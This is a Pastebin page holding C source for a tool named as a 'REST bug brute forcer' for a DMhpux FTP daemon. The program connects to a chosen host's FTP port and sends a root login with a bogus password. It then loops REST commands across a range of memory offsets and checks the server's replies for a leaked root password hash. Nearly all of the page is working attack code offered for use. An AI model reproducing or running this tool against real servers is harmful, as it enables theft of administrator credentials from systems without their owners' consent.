Guest User

Untitled

a guest
May 24th, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.30 KB | None | 0 0
  1.  
  2. #include <sys/types.h>
  3.  
  4. #include <sys/socket.h>
  5.  
  6. #include <netinet/in.h>
  7.  
  8. #include <arpa/inet.h>
  9.  
  10. #include <netdb.h>
  11.  
  12. #include <stdio.h>
  13.  
  14. #include <unistd.h>
  15.  
  16.  
  17.  
  18. int main (int argc, char *argv[]) {
  19.  
  20.  
  21.  
  22. int sock, rc;
  23.  
  24. long int i;
  25.  
  26. struct sockaddr_in saddr;
  27.  
  28. struct hostent *h;
  29.  
  30. char buf[256];
  31.  
  32.  
  33.  
  34. printf("DMhpux FTPd - REST bug brute forcer\n");
  35.  
  36. printf("by phased\n");
  37.  
  38.  
  39.  
  40. if(argc < 2) {
  41.  
  42. printf("usage: %s <host> -- simple enough?\n",argv[0]);
  43.  
  44. exit(1);
  45.  
  46. }
  47.  
  48. h = gethostbyname(argv[1]);
  49.  
  50. if(h==NULL) {
  51.  
  52. printf("%s: unknown host '%s'\n",argv[0],argv[1]);
  53.  
  54. exit(1);
  55.  
  56. }
  57.  
  58.  
  59.  
  60. saddr.sin_family = h->h_addrtype;
  61.  
  62. memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
  63.  
  64. saddr.sin_port = htons(21);
  65.  
  66.  
  67.  
  68. sock = socket(AF_INET, SOCK_STREAM, 0);
  69.  
  70. if(sock<0) {
  71.  
  72. perror("cannot open socket ");
  73.  
  74. exit(1);
  75.  
  76. }
  77.  
  78.  
  79.  
  80. rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));
  81.  
  82. if(rc<0) {
  83.  
  84. perror("cannot connect ");
  85.  
  86. exit(1);
  87.  
  88. }
  89.  
  90.  
  91.  
  92. printf("Sending false login credentials\n");
  93.  
  94. snprintf(buf, sizeof(buf), "USER root\r\n");
  95.  
  96. printf("sending %s\n", buf);
  97.  
  98. rc = send(sock, buf, strlen(buf), 0);
  99.  
  100. if(rc<0) {
  101.  
  102. perror("cannot send data ");
  103.  
  104. close(sock);
  105.  
  106. exit(0);
  107.  
  108. }
  109.  
  110. dorecv(sock);
  111.  
  112. usleep(1000);
  113.  
  114. memset(buf, 0, sizeof(buf));
  115.  
  116. snprintf(buf, sizeof(buf), "PASS foo\r\n");
  117.  
  118. printf("sending %s\n", buf);
  119.  
  120. rc = send(sock, buf, strlen(buf), 0);
  121.  
  122. usleep(1000);
  123.  
  124. dorecv(sock);
  125.  
  126. dorecv(sock);
  127.  
  128.  
  129.  
  130. for(i=1073931080;i<=1073945000;i = i+10) {
  131.  
  132. snprintf(buf, sizeof(buf), "REST %d\r\n", i);
  133.  
  134. printf("sending %s\n", buf);
  135.  
  136. send(sock, buf, strlen(buf), 0);
  137.  
  138. dorecv(sock);
  139.  
  140. }
  141.  
  142.  
  143.  
  144.  
  145.  
  146. return 0;
  147.  
  148.  
  149.  
  150. }
  151.  
  152.  
  153.  
  154. int dorecv(int sock) {
  155.  
  156. char buf[256];
  157.  
  158. char *check;
  159.  
  160.  
  161.  
  162. memset(buf, 0, sizeof(buf));
  163.  
  164. recv(sock, buf, sizeof(buf), 0);
  165.  
  166. printf("got: %s\n", buf);
  167.  
  168. check = (char *)strstr(buf, "root");
  169.  
  170. if(check != NULL) {
  171.  
  172. printf("Got root hash\n");
  173.  
  174. }
  175.  
  176.  
  177.  
  178. }
Add Comment
Please, Sign In to add comment